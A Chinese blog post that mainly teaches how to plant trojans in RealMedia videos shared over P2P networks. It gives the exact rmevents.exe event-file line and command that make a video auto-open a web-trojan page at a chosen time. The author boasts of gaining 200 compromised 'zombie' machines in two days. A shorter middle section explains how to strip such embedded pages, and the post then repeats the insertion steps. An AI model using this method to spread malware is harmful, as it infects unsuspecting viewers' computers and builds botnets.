萧萧公子的部落格

# 在Real影片中放木马

在P2P软件里,很多的Real影片都是危险的,这只是一个小技巧,辅助的一种入侵方式，
但这种方法很有效果，比如在著名的交流软件PP点点通里，我下了一个这样的小木马，
两天就有200个肉鸡，并且呈几何状增长.大家别做坏事。

使用Helix Producer Plus 9的rmevents.exe来修改影片的剪辑信息,可以在指定时间打开指定的窗口.
新建一个文本文件rmevents.txt.
输入：
u 00:01:00.0 00:01:30.0 http://www.smf.cn/bbs
我来解释一下，它意思是说在00:01:00.0 00:01:30.0这个时间范围内打开后面的URL，
后面的URL就是我们的木马地址。
输入rmevents -i 电影.rm -e rmevents.txt -o 电影1.rm 这个命令，
生成的电影.rm就是我们的木马文件了。

http://www.smf.cn/bbs这个地址是你做好的网页木马的地址，不管是动鲨木马啊，
还是EXE2BMP的木马，还是什么CHM木马.

防御方法更简单，嘿嘿，不看电影就没事了。要不就不用Realpalyer看吧，换别的播放器。

去除realoneplay,里的网页问题
这个弹出的网页是由一开始压制影片的人压进去的广告页。可以通过
Helix Producer Plus V9.01 的rmevents.exe编辑掉。 

方法一：
在你的安装目录C:\Program Files\Real\Helix Producer Plus\RealMediaEditor默认是这个目录，
里有一个rmevents.exe 在命令提示行cmd.exe下进入这个目录，运行rmevents.exe
然后建立一个内容为空的 events.txt 文件

rmevents -i input.rm -e events.txt -o output.rm

input.rm为有广告的原来的rmvb影片。
output.rm为转换后的新影片名称。
可以自定义。

这个相当于覆盖掉原来的Event设置，对RMVB也有效。
方法二：
直接运行C:\Program Files\Real\Helix Producer Plus\RealMediaEditor目录下的rmedtgui.exe
效果跟上面的命令提示行下是一样的。运行rmedtgui.exe后，打开有广告的rmvb影片，
选择菜单里的tools ——》merge events，打开新建立的空白events.txt，
在在file下选择save as保存修改好的文件。

 # 教你在RM中插入网址

制作开始
先准备个正常的RM文件
下载个Helix Producer Plus
安装。。。
在准备个文本命令文件
文本命令如下

实例：在00:20.0(时分秒毫)—01:10.0时让欣赏者自动弹出 http://www.smf.cn/bbs主页

在03:10.0(时分秒毫)—03:59.0时让欣赏者自动弹出 http://www.smf.cn/bbs 主页

1、编辑事件文件
新建一个记事本文件，命名为event.txt（可随意），输入以下内容：

u 00:20.0 01:10.0 http://www.smf.cn/bbs

u 03:10.0 03:59.0 http://www.smf.cn/bbs
存盘后退出
解释：u 表示URL事件, 00:20.0是起启时间，01:10.0是结束时间，后面是指定的网页.

下一步
进入Helix Producer Plus的安装目录下的RealMediaEditor子目录，双击运行rmedtgui.exe文件，
从file菜单Open打开一个Rm文件，从菜单栏的tools（工具）中选择Merge Events（合并事件），
在弹出的对话框中选择刚才编辑的event.txt文件，确定后Rmedtgui开始合并事件，合并结束后，
请将含有事件文件的RM文件另行保存。整个过程应当在15分钟以内完成，还是相当快的。
就是这么简单

附：
rmvb文件去除工具：
http://soft.studa.com/downinfo/19542.html
http://soft.studa.com/downinfo/14257.html